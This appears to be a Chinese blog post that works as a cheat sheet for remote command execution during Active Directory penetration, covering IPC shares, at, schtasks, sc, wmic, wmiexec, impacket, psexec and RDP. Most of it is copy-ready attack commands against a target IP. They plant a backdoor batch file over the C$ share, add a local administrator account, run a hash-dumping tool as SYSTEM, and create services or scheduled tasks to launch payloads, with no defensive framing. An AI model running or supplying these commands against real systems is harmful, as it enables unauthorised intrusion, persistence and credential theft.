前言 AD的全称是Active Directory:活动目录 域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后两个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理,以及相互通信和数据传输。
在域渗透场景中,我们已经进入内网,会遇到大量的开放端口和服务,弱密码空密码,这个时候我们可以使用它们已经开启的服务选择对应的方式进行命令执行。本文对ad域渗透中常见的命令执行方式进行一个总结。
ipc 前提 开启ipc共享
配置本地安全策略:开始->运行-> secpol.msc->本地策略->安全选项->网络访问:共享>和本地帐户的安全模型>经典-本地用户进行身份验证
配置本地组策略:运行gpedit.msc ——计算机配置——Windows设置——安全设置——本地策略 ——安全选项——用户账户控制:以管理员批准模式运行所有管理员——禁用。
文件共享 1 2 3 4 5 6 写入后门文件 net use z: \\目标IP\c$ "passwd" /user: "admin" 或 copy hack.bat \\目标ip\c$ net use \\目标IP\ipc$ /del
后续使用下面的方式执行
at(win10不可用) 定时任务执行命令
前提 开启windows Event log服务,开启Task Scheduler服务
其余条件同ipc
命令执行
1 2 at \\170.170.64.19 23 :00 c:\windows\system32 \calc.exeat \\170.170.64.19 1 delete /yes #删除本机1 号任务
schtasks 前提 开启windows Event log服务,开启Task Scheduler服务
其余条件同ipc
1 2 3 schtasks /create /tn firstTask /tr "c:\windows\system32\cmd.exe /c calc" /sc once /st 00:00 /S 170.170.64.19 /RU System /u admin /p passwd schtasks /run /tn firstTask /S 170.170.64.19 /u admin /p passwd schtasks /F /delete /tn firstTask /S 170.170.64.19 /u admin /p passwd
telnet 前提 开启telnet服务
命令执行
sc
命令执行 1 2 3 sc \\170.170.64.19 create testSC binPath= "cmd.exe /c start c:\windows\hack.bat" sc \\170.170.64.19 start testSC sc \\170.170.64.19 delete testSC
wmic 前提 开启wmi服务,135端口
命令执行 1 2 3 wmic /node:170.170 .64 .19 /user :admin /password :passwd process call create "cmd.exe /c calc.exe" wmic /node:170.170 .64 .19 /user :admin /password :passwd process call create "cmd.exe /c net user test 123456 /add && net localgroup administrators test /add"
wmiexec.vbs(需要安装) 前提 开启wmi服务,135端口
安装 下载vmiexec.vbs
命令执行 1 2 3 4 5 6 cscript.exe cscript.exe wmiexec.vbs /cmd 170.170 .64.19 admin passwd "cmdkey /list" cscript.exe wmiexec.vbs /cmd 170.170 .64.19 admin passwd c:\programdata\test.bat #其他参数 -wait5000 表示这个命令等待5s 后再读取结果,用于运行“运行时间长”的命令。 -persist 程序会在后台运行,不会有结果输出,而且会返回这个命令进程的 PID,方便结束进程,用于运行 nc 或者木马程序。
impackets wmiexec(需要安装) 前提 开启wmi服务,135端口
安装 1 2 3 git clone https://gi thub.com/SecureAuthCorp/im packet/ pip install -r requirements.txt pip install impacket
命令执行 1 2 python wmiexec.py admin:passwd@170.170.64.19
psexec(需要安装) 前提 开启admin$共享
安装 在 https://docs.microsoft.com/en-us/sysinternals/downloads/psexec 下载安装
命令执行 1 2 3 4 5 6 7 8 9 10 11 12 13 psexec \\170.170.64.19 -u admin -p passwd cmd psexec \\170.170.64.19 -u admin -p passwd -s cmd /c "calc.exe" psexec \\170.170.64.19 -u admin -p passwd -c C:\Users\Administrator\Desktop\GetHashes.exe –accepteula 第一次运行会弹框,输入这个参数便不会弹框 -s 以 “nt authority\system” 权限运行远程进程 -h 如果可以,以管理员权限运行远程进程 -d 不等待程序执行完就返回,请只对非交互式应用程序使用此选项\\ip 可以替换成 @ip.txt (存放多个 ip 的文本),可以批量执行命令
远程桌面 前提 开启远程桌面,3389端口
命令执行 可直接通过mstsc进入目标系统。